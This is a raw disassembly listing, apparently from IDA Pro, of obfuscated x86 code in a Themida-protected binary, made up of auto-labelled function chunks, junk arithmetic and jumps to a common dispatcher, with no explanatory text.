loc_55880C: ; CODE XREF: sub_559C84-3491j
sub esi, 0B4779838h
or ebx, esi
pop esi
not ebx
not ebx
not ebx
or ebx, 58880FFEh
jmp loc_55CEFB
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_558826: ; CODE XREF: Themida_:00556F53j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5557A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55883A: ; CODE XREF: sub_559C84+17BEj
add esp, 4
push edx
dec [esp+5Ch+var_5C]
pop edx
jmp loc_55F58E
; ---------------------------------------------------------------------------
loc_558847: ; CODE XREF: sub_559C84-5CC4j
add ebx, ebp
pop ebp
push ebx
push [esp-2+arg_0+2]
pop ebx
pop dword ptr [esp+0]
pop esp
mov ax, word ptr [esp-0Ah+arg_4+2]
push 1AC8h
mov [esp-6+arg_0+2], esi
push esp
pop esi
push ecx
push ebx
mov ebx, 4C164E09h
push eax
mov eax, 4C164E0Dh
mov ecx, eax
jmp loc_558969
; ---------------------------------------------------------------------------
loc_558876: ; CODE XREF: sub_559C84-631Dj
push eax
mov eax, esp
add eax, 4
push ecx
jmp loc_55F87B
; ---------------------------------------------------------------------------
loc_558884: ; CODE XREF: sub_559C84-393Ej
pop esi
jmp loc_55B191
; ---------------------------------------------------------------------------
loc_55888A: ; CODE XREF: sub_559C84+4A8Cj
add edx, edi
mov edi, [esp+4Ah+var_4A]
add esp, 4
push ebx
mov ebx, 387F2671h
jmp loc_558A6F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], esi
push esp
mov esi, [esp]
add esp, 4
push eax
mov eax, 21F019D7h
sub eax, 21F019D3h
add esi, eax
pop eax
push ebx
mov ebx, 73DF2D37h
push edi
mov edi, 6392BCAh
xor edi, 0E9E503Ah
dec edi
xor edi, 20AF1456h
add edi, 49880D3Dh
jmp loc_55EE6F
; ---------------------------------------------------------------------------
loc_5588E3: ; CODE XREF: Themida_:005558AEj
mov ax, 21B5h
push ax
jmp loc_555796
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5588EE: ; CODE XREF: sub_559C84+312Bj
push eax
push 14904665h
pop eax
jmp loc_55C038
; ---------------------------------------------------------------------------
loc_5588FA: ; CODE XREF: sub_559C84+186Cj
mov [esp+4Eh+var_4E], ecx
push 29EE0926h
pop ecx
xor ecx, 5C540DD0h
mov edx, ecx
jmp loc_55A454
; ---------------------------------------------------------------------------
loc_558910: ; CODE XREF: sub_559C84+8A9j
sub dl, 3Ch
push ebx
mov bl, dl
mov ch, bl
pop ebx
mov edx, [esp+4Eh+var_4E]
add esp, 4
jmp loc_55C81A
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554572
loc_558924: ; CODE XREF: sub_554572+2E5j
push edx
mov edx, 2
add esi, 6D9363CFh
add esi, edx
push ecx
mov ecx, 2BB2100Ch
or ecx, 3BCA4296h
jmp loc_55EBE5
; END OF FUNCTION CHUNK FOR sub_554572
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558943: ; CODE XREF: sub_559C84+79j
push 5C7Ah
mov [esp+4Eh+var_4E], edi
jmp loc_558313
; ---------------------------------------------------------------------------
loc_558950: ; CODE XREF: sub_559C84+4F2Bj
or dl, 0CEh
jmp loc_55EC75
; ---------------------------------------------------------------------------
loc_558958: ; CODE XREF: sub_559C84-2E29j
pop ecx
jmp loc_55DF36
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55895E proc near ; CODE XREF: sub_559C84+5F02j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055385D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055396C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055E35D SIZE 0000000F BYTES
push ebp
mov ebp, 4
jmp loc_55396C
sub_55895E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558969: ; CODE XREF: sub_559C84-1413j
pop eax
jmp loc_55FB14
; ---------------------------------------------------------------------------
loc_55896F: ; CODE XREF: sub_559C84+168Ej
push 5396h
mov [esp+6+var_8+2], esi
mov esi, 40DB5B55h
jmp loc_5565FD
; ---------------------------------------------------------------------------
loc_558981: ; CODE XREF: sub_559C84+2168j
add ebp, edx
pop edx
jmp loc_557FCF
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
lodsb
xor al, bl
jmp loc_55B188
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558991: ; CODE XREF: sub_559C84+3310j
and al, 91h
add al, 0BCh
or al, 0D1h
xor al, 87h
jmp loc_55964B
; ---------------------------------------------------------------------------
loc_55899E: ; CODE XREF: sub_559C84-46CEj
push [esp+42h+var_3E]
pop edx
pop [esp+42h+var_42]
mov esp, [esp+3Eh+var_3E]
push 1
push [esp+42h+var_42]
pop eax
sub esp, 4
mov [esp+46h+var_46], edx
push esp
jmp loc_55BC60
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_5589C1 proc near ; DATA XREF: Themida_:00553454o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00553973 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055658F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00558B37 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00559B17 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0055EEAE SIZE 0000002E BYTES
lodsd
add esi, 70DA160Ch
add esi, 48060A1Dh
add esi, eax
sub esi, 48060A1Dh
sub esp, 4
jmp loc_55658F
sub_5589C1 endp
; ---------------------------------------------------------------------------
loc_5589DE: ; CODE XREF: Themida_:005592C9j
mov [esp], esp
jmp loc_553E89
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5589E6: ; CODE XREF: sub_559C84-5E9Ej
mov ebx, [esp+0Ch+var_C]
add esp, 4
add [esp+8+var_8], 4C950893h
push ebp
mov ebp, 7E5E3C9Ah
add [esp+0Ch+var_8], ebp
mov ebp, [esp+0Ch+var_C]
push eax
mov eax, esp
add eax, 4
jmp loc_55EDD2
; ---------------------------------------------------------------------------
loc_558A0D: ; CODE XREF: sub_559C84+12FFj
mov edx, 6E2A058Ch
jmp loc_55AE3C
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5571E4
loc_558A17: ; CODE XREF: sub_5571E4+33j
push 32C4h
mov [esp+4+var_4], esi
jmp loc_557E0D
; END OF FUNCTION CHUNK FOR sub_5571E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558A24: ; CODE XREF: sub_559C84+1ECj
add esp, 4
xor esi, 0ECC84E7Fh
xor eax, esi
pop esi
xor ebx, eax
sub edx, 25125115h
sub edx, eax
jmp loc_55C525
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5591C7
loc_558A3F: ; CODE XREF: sub_5591C7+Dj
add edi, ebx
jmp loc_554198
; END OF FUNCTION CHUNK FOR sub_5591C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5559F0
loc_558A46: ; CODE XREF: sub_5559F0+F3Cj
push edx
mov edx, 4
add edi, edx
pop edx
sub esp, 4
mov [esp+8+var_8], ebx
jmp loc_557294
; END OF FUNCTION CHUNK FOR sub_5559F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558A5D: ; CODE XREF: sub_559C84+158Bj
xchg esi, [esp+8+var_8]
pop esp
mov [esp+4+var_4], eax
push [esp+4+var_4]
mov ebx, [esp+8+var_8]
jmp sub_555835
; ---------------------------------------------------------------------------
loc_558A6F: ; CODE XREF: sub_559C84-13ECj
dec ebx
add ebx, 3A8ADA08h
jmp loc_55BDDD
; ---------------------------------------------------------------------------
loc_558A7B: ; CODE XREF: sub_559C84-60EEj
push 37E7h
mov [esp+32h+var_34+2], esi
mov esi, 3F3A4300h
sub esp, 4
mov [esp+0], edx
mov edx, 37542766h
and edx, 4BC67DE1h
inc edx
add edx, 6DE10057h
mov ebx, edx
jmp loc_555D19
; ---------------------------------------------------------------------------
loc_558AA7: ; CODE XREF: sub_559C84-97Aj
mov edx, 0BFFFFB7Ah
jmp loc_556445
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5599A2
loc_558AB1: ; CODE XREF: sub_5599A2+1j
mov ebx, 0EE836AAh
dec ebx
shr ebx, 4
add ebx, 18732FB4h
xor ebx, 186E2D38h
sub ebx, 72F30652h
sub ebx, 1DD57739h
sub edx, ebx
pop ebx
shr edx, 3
xor edx, 7BC64FCFh
sub esp, 4
mov [esp-4+arg_0], ecx
mov ecx, 29B77856h
xor edx, ecx
pop ecx
jmp loc_55666C
; END OF FUNCTION CHUNK FOR sub_5599A2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558AF4: ; CODE XREF: sub_559C84-1A85j
pop edi
xor ebx, edx
pop edx
sub edx, 1AE96CEBh
add edx, ebx
add edx, 1AE96CEBh
pop ebx
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_558B0C: ; CODE XREF: sub_559C84-820j
xor ch, al
pop eax
xor ch, 0EEh
and bh, ch
jmp loc_55E446
; ---------------------------------------------------------------------------
loc_558B19: ; CODE XREF: sub_559C84+E87j
dec ecx
sub ecx, 65924DBEh
push eax
mov eax, 44AC60CEh
xor ecx, eax
pop eax
add ecx, 0A159A897h
add ebp, ecx
pop ecx
jmp loc_55E653
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5589C1
loc_558B37: ; CODE XREF: sub_5589C1+1179j
pop ebp
pop edx
add ebp, 1F794246h
dec ebp
jmp loc_55EEAE
; END OF FUNCTION CHUNK FOR sub_5589C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558B45: ; CODE XREF: sub_559C84-48F0j
sub edi, 7D7052D4h
sub edi, 23D62CFAh
add eax, edi
mov edi, [esp+3Ch+var_3E+2]
add esp, 4
jmp loc_55AC4F
; ---------------------------------------------------------------------------
loc_558B61: ; CODE XREF: sub_559C84+29F4j
xor ecx, edi
jmp loc_5556EF
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558B70: ; CODE XREF: sub_559C84-2283j
pop ecx
xor ecx, 56F442AAh
inc ecx
add ecx, 151927DAh
mov edi, ecx
pop ecx
add ecx, edi
jmp loc_5593B1
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_558B88: ; CODE XREF: Themida_:005566D2j
add esp, 4
pop ecx
jmp loc_5562DB
; =============== S U B R O U T I N E =======================================
sub_558B94 proc near ; CODE XREF: sub_559B47-507Cj
var_2 = word ptr -2
push bx
sub [esp+2+var_2], 0FFFFh
pop bx
jmp loc_55B54D
sub_558B94 endp
; =============== S U B R O U T I N E =======================================
sub_558BA2 proc near ; CODE XREF: sub_55DC14-9C9Ej
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055391C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00553AC8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00557852 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005578DA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00558001 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055975F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055978F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055EAA8 SIZE 0000000B BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 0C57F45B7h
jmp loc_558001
sub_558BA2 endp
; =============== S U B R O U T I N E =======================================
sub_558BB5 proc near ; DATA XREF: Themida_:00553440o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00559C2A SIZE 00000015 BYTES
mov cx, [esp+0]
push edi
push 412Fh
mov [esp+8+var_8], esp
push ebp
mov ebp, 4
add [esp+0Ch+var_8], ebp
jmp loc_559C2A
sub_558BB5 endp
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
jmp loc_5554EE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558BE5: ; CODE XREF: sub_559C84-3EB9j
push esi
jmp loc_5558CD
; ---------------------------------------------------------------------------
loc_558BEB: ; CODE XREF: sub_559C84-648Fj
mov ebx, [esp+24h+var_24]
add esp, 4
add al, ch
pop ecx
push eax
mov al, 0Ch
push ecx
mov ch, 69h
neg ch
sub ch, 1Fh
add ch, 0D1h
push ebx
jmp loc_55A508
; ---------------------------------------------------------------------------
loc_558C08: ; CODE XREF: sub_559C84-C36j
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_558C0D: ; CODE XREF: sub_559C84+20B7j
mov eax, 5F672753h
and eax, 50E2092Ah
add eax, 0D74B78AFh
neg eax
jmp loc_55BAF9
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_558C23: ; CODE XREF: Themida_:0055353Aj
add ebx, 4
push 4641h
jmp loc_55D82C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558C33: ; CODE XREF: sub_559C84+4DEEj
or eax, eax
jz loc_55408F
push 602Dh
mov [esp+2Ch+var_2C], ebx
jmp loc_55C723
; ---------------------------------------------------------------------------
loc_558C48: ; CODE XREF: sub_559C84-1EFDj
pop edx
jmp loc_55AB08
; ---------------------------------------------------------------------------
loc_558C4E: ; CODE XREF: sub_559C84+1455j
mov edi, 1A93130Eh
dec edi
sub edi, 61D33751h
jmp loc_55CE69
; ---------------------------------------------------------------------------
loc_558C5F: ; CODE XREF: sub_559C84-644Dj
pop esp
add esi, 4
push 14F6h
mov [esp+30h+var_30], ebx
jmp loc_5580AB
; ---------------------------------------------------------------------------
loc_558C73: ; CODE XREF: sub_559C84+26D5j
mov esi, esp
jmp loc_556B05
; ---------------------------------------------------------------------------
loc_558C7A: ; CODE XREF: sub_559C84+1BE9j
add di, 3699h
pop esi
xor ax, di
mov di, word ptr [esp+2Ch+var_2C]
jmp loc_55CEC3
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
jmp loc_553ACF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F9FD
loc_558C95: ; CODE XREF: sub_55F9FD-9672j
mov edx, 5739086Dh
not edx
add edx, 3A7E0502h
shr edx, 8
sub edx, 0A3073DE0h
sub esi, edx
pop edx
pop edi
jmp loc_55C274
; END OF FUNCTION CHUNK FOR sub_55F9FD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558CB4: ; CODE XREF: sub_559C84+1FD7j
add esp, 4
xor esi, 204C0EF3h
or esi, 2534737Ch
jmp loc_559309
; ---------------------------------------------------------------------------
loc_558CC8: ; CODE XREF: sub_559C84+43B7j
push edi
push esi
mov esi, 66D65E03h
push 4D107FD1h
pop edi
jmp sub_5598F1
; ---------------------------------------------------------------------------
loc_558CDA: ; CODE XREF: sub_559C84-6AAj
sub ebx, 4
jmp loc_55D053
; ---------------------------------------------------------------------------
loc_558CE5: ; CODE XREF: sub_559C84-201Fj
mov [esp+46h+var_46], eax
push 7DD7510h
pop eax
shr eax, 5
and eax, 64E51EEEh
dec eax
sub eax, 0D87BB46Bh
mov edx, eax
jmp loc_557EAA
; ---------------------------------------------------------------------------
loc_558D03: ; CODE XREF: sub_559C84+3BBEj
sub edx, 625B15ECh
sub edx, 523A148Ah
add edx, eax
add edx, 523A148Ah
push ebx
mov ebx, 26950C04h
push esi
mov esi, 0
jmp loc_555EB4
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_558D28: ; CODE XREF: Themida_:0055F70Bj
movzx ecx, al
push ebp
push esp
pop ebp
add ebp, 4
jmp loc_55675A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558D39: ; CODE XREF: sub_559C84-6128j
xor eax, ebx
xor ebx, eax
jmp loc_557C02
; ---------------------------------------------------------------------------
loc_558D42: ; CODE XREF: sub_559C84+220Fj
mov esi, 6AD9274Eh
jmp loc_55C4A5
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
jmp loc_553E20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558D56: ; CODE XREF: sub_559C84+4D5Bj
pop esi
sub eax, edx
pop edx
jmp loc_55BD7C
; ---------------------------------------------------------------------------
loc_558D5F: ; CODE XREF: sub_559C84+1CFEj
sub eax, ecx
push edi
jmp loc_55E53D
; ---------------------------------------------------------------------------
loc_558D67: ; CODE XREF: sub_559C84+243Cj
mov ebp, eax
pop eax
dec ebp
dec ebp
jmp loc_55C219
; ---------------------------------------------------------------------------
loc_558D71: ; CODE XREF: sub_559C84+385Aj
sub esi, 51582215h
push edx
mov edx, 51AC7DD3h
add esi, edx
pop edx
shl esi, 3
shl esi, 7
neg esi
not esi
sub esi, 7767F3FBh
jmp loc_5581C3
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_558D95 proc near ; CODE XREF: sub_559C84-2053j
; FUNCTION CHUNK AT 00553FCE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055EABE SIZE 00000020 BYTES
push ebx
mov bh, 9Dh
sub bh, 0E4h
sub ah, bh
pop ebx
mov ch, ah
pop eax
jmp loc_553FCE
sub_558D95 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558DA6: ; CODE XREF: sub_559C84+2CCEj
add edx, 4B377430h
add edx, ebx
push eax
mov eax, 4B377430h
add edx, 5F071E8Ch
sub edx, eax
jmp loc_55648A
; ---------------------------------------------------------------------------
loc_558DC1: ; CODE XREF: sub_559C84-4AFFj
and cl, 38h
push eax
mov ah, 15h
jmp loc_55B5F1
; ---------------------------------------------------------------------------
loc_558DCC: ; CODE XREF: sub_559C84-5j
push eax
mov al, 42h
add bh, 2Ch
add bh, al
jmp loc_556F36
; ---------------------------------------------------------------------------
loc_558DD9: ; CODE XREF: sub_559C84-57CFj
dec ebp
xchg eax, ebp
not eax
push ebp
push eax
jmp loc_554355
; ---------------------------------------------------------------------------
loc_558DE4: ; CODE XREF: sub_559C84+3FB9j
push esp
pop ecx
push ebx
jmp loc_555247
; ---------------------------------------------------------------------------
loc_558DEC: ; CODE XREF: sub_559C84-3205j
mov word ptr [esp+40h+var_42+2], cx
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_558DF5: ; CODE XREF: sub_559C84+5A31j
mov ecx, edi
jmp loc_5579F5
; ---------------------------------------------------------------------------
loc_558DFC: ; CODE XREF: sub_559C84-6092j
push esp
mov edx, [esp+20h+var_20]
add esp, 4
add edx, 4
add edx, 4
push edx
jmp loc_55E118
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558E1F: ; CODE XREF: sub_559C84+F5j
pop ebp
push edx
push [esp+20h+var_1C]
jmp loc_55FB6A
; ---------------------------------------------------------------------------
loc_558E2A: ; CODE XREF: sub_559C84-2313j
sub ebx, 4
xchg ebx, [esp+32h+var_34+2]
pop esp
mov [esp+2Eh+var_30+2], ecx
mov ecx, esp
jmp sub_55698E
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_558E3E: ; CODE XREF: Themida_:0055EEFCj
xor ebx, [esp]
jmp loc_55DD85
; ---------------------------------------------------------------------------
loc_558E46: ; CODE XREF: Themida_:00553A74j
and cx, 6AE0h
sub cx, 0D79Ch
add ax, cx
jmp loc_554210
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558E58: ; CODE XREF: sub_559C84+803j
shr eax, 6
push edi
mov edi, 1C150156h
inc edi
inc edi
jmp loc_55B907
; ---------------------------------------------------------------------------
loc_558E68: ; CODE XREF: sub_559C84+1C09j
push 26F9h
mov [esp+0], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+0]
pop esp
jmp loc_55E1A5
; ---------------------------------------------------------------------------
loc_558E87: ; CODE XREF: sub_559C84-26DDj
sub edi, 243AF876h
add ecx, 14EB4E92h
add ecx, 551A4F5Eh
add ecx, edi
jmp loc_557B35
; ---------------------------------------------------------------------------
loc_558EA0: ; CODE XREF: sub_559C84+3C89j
xor eax, ecx
pop ecx
push 35E6h
mov [esp+4Ch+var_4E+2], ebx
mov ebx, esp
jmp loc_55D440
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_558EB2: ; CODE XREF: Themida_:00557934j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
sub [esp], eax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558EC7: ; CODE XREF: sub_559C84-441Dj
push esi
mov esi, 4
sub eax, esi
jmp loc_5560E7
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_558ED4: ; CODE XREF: Themida_:0055603Aj
pop edx
xor ch, dh
jmp loc_5554CB
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_55857C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558EE5: ; CODE XREF: sub_559C84-349Bj
pop esp
jmp loc_55678C
; ---------------------------------------------------------------------------
loc_558EEB: ; CODE XREF: sub_559C84-387Bj
mov [esp+5Eh+var_60+2], ebp
push 5335h
mov [esp+62h+var_64+2], esp
add [esp+62h+var_64+2], 4
jmp loc_559246
; ---------------------------------------------------------------------------
loc_558F02: ; CODE XREF: sub_559C84-6756j
sub al, cl
mov ecx, [esp+0]
add esp, 4
sub al, 0Bh
push ebx
mov bl, 0B0h
sub esp, 2
mov word ptr [esp+4+var_4], ax
push cx
mov cl, 0EAh
mov ah, cl
pop cx
xor bl, ah
pop ax
jmp loc_55B09C
; ---------------------------------------------------------------------------
loc_558F27: ; CODE XREF: sub_559C84-39C9j
pop esp
sub word ptr [esp+38h+var_3A+2], ax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_558F32: ; CODE XREF: sub_559C84+2ECDj
push [esp+3Ch+var_3A+2]
push [esp+40h+var_42+2]
pop ecx
add esp, 4
pop [esp+3Ch+var_3E+2]
pop esp
ror word ptr [esp+34h+var_34], cl
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_558F4B: ; CODE XREF: sub_559C84-19CAj
pop edx
push ecx
mov ecx, 27C61170h
xor ecx, 6227B08h
add ebx, ecx
pop ecx
jmp loc_555D1F
; ---------------------------------------------------------------------------
loc_558F60: ; CODE XREF: sub_559C84+13BEj
pop edi
jmp loc_55F833
; ---------------------------------------------------------------------------
loc_558F66: ; CODE XREF: sub_559C84+5905j
add ecx, 4
sub ecx, 4
jmp loc_553A7F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55590A
loc_558F74: ; CODE XREF: sub_55590A+1ED0j
and ebp, esi
mov esi, [esp+8+var_8]
add esp, 4
jmp loc_556BC7
; END OF FUNCTION CHUNK FOR sub_55590A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DE4E
loc_558F81: ; CODE XREF: sub_55DE4E-A39Fj
mov edx, esp
jmp loc_55B1E9
; END OF FUNCTION CHUNK FOR sub_55DE4E
; ---------------------------------------------------------------------------
push ebp
push eax
push 59882056h
mov eax, [esp]
add esp, 4
push ecx
push eax
push 6FA66BEFh
pop eax
push eax
mov eax, 1739699Fh
push eax
jmp loc_55FC25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558FA9: ; CODE XREF: sub_559C84+404Aj
pop edx
add edx, 4
add edx, 4
xchg edx, [esp+3Eh+var_3E]
pop esp
jmp loc_559A39
; ---------------------------------------------------------------------------
loc_558FBC: ; CODE XREF: sub_559C84-3589j
shl edx, 1
push edx
push 318Fh
mov [esp+1Ch+var_1C], ecx
push 3E25h
jmp loc_554706
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
push esp
push dword ptr [esp]
pop esi
jmp loc_55F047
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_558FE0: ; CODE XREF: sub_559C84-308Dj
xchg ebp, [esp+4Eh+var_4E]
pop esp
or eax, eax
jz loc_55ECA4
push dword ptr [edi+1Ch]
push [esp+4Eh+var_4E]
jmp loc_554D29
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55698E
loc_558FF7: ; CODE XREF: sub_55698E+12j
sub ebp, 2BFF7DFAh
add ecx, ebp
pop ebp
sub ecx, 4
push ecx
push dword ptr [esp+4]
mov ecx, [esp+8+var_8]
add esp, 4
pop [esp+4+var_4]
pop esp
mov [esp-4+arg_0], ebx
push ecx
push ebx
mov bl, 0B1h
jmp loc_55742B
; END OF FUNCTION CHUNK FOR sub_55698E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559024: ; CODE XREF: sub_559C84-3D96j
push edi
push ecx
push edi
mov edi, 1A576F78h
neg edi
and edi, 426F5097h
add edi, 6A0F7C1Ch
not edi
jmp loc_55DDA2
; ---------------------------------------------------------------------------
loc_559041: ; CODE XREF: sub_559C84+5632j
add esp, 4
pop [esp+5Eh+var_60+2]
mov esp, [esp+5Ah+var_5C+2]
shl [esp+5Ah+var_5C+2], cl
pushf
jmp loc_558C08
; ---------------------------------------------------------------------------
loc_559053: ; CODE XREF: sub_559C84-40Fj
xor [esp+5Eh+var_60+2], edi
xor edi, [esp+5Eh+var_60+2]
pop esp
btc word ptr [esp+5Ah+var_5C+2], ax
pushf
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov edx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_55CC58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55908E: ; CODE XREF: sub_559C84+23E7j
pop edx
shl ch, 6
jmp sub_559A2E
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559AA2
loc_559097: ; CODE XREF: sub_559AA2-644Cj
add ecx, 4
sub ecx, 4
xchg ecx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
pop ecx
jmp loc_5537E8
; END OF FUNCTION CHUNK FOR sub_559AA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5590B7: ; CODE XREF: sub_559C84-675Cj
mov ch, 0BFh
push 7252h
mov [esp+8+var_8], ebx
push edx
mov dh, 62h
mov bh, dh
pop edx
xor ch, bh
pop ebx
push eax
mov al, 0FDh
push edx
mov dh, 0F9h
push 585Ah
mov [esp+10h+var_10], eax
jmp loc_558264
; ---------------------------------------------------------------------------
loc_5590DD: ; CODE XREF: sub_559C84+4B5Ej
pop ecx
pop edx
jmp loc_559E3B
; ---------------------------------------------------------------------------
loc_5590E4: ; CODE XREF: sub_559C84-305Fj
sub esi, 6FE9489Bh
add esi, 5E5C0FA2h
mov eax, esi
pop esi
jmp loc_558302
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557976
loc_5590F8: ; CODE XREF: sub_557976-3626j
shr al, 8
dec al
push ecx
mov ch, dh
mov dh, al
jmp loc_55BF95
; END OF FUNCTION CHUNK FOR sub_557976
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_559107: ; CODE XREF: sub_559C84-46B3j
mov esi, [esp+3Eh+var_3E]
add esp, 4
jmp loc_556B33
; ---------------------------------------------------------------------------
loc_559115: ; CODE XREF: sub_559C84-271j
pop ecx
push edx
mov dl, 1
xor dl, 0B1h
or al, dl
pop edx
shl al, 8
xor al, 75h
or ch, al
pop eax
jmp loc_5584BC
; ---------------------------------------------------------------------------
loc_55912C: ; CODE XREF: sub_559C84-190Fj
pop [esp+26h+var_28+2]
mov esp, [esp+22h+var_24+2]
btr word ptr [esp+22h+var_24+2], ax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55913D: ; CODE XREF: sub_559C84-1A54j
push 46DB6101h
pop ecx
add ecx, 7A00D7h
jmp loc_55510D
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
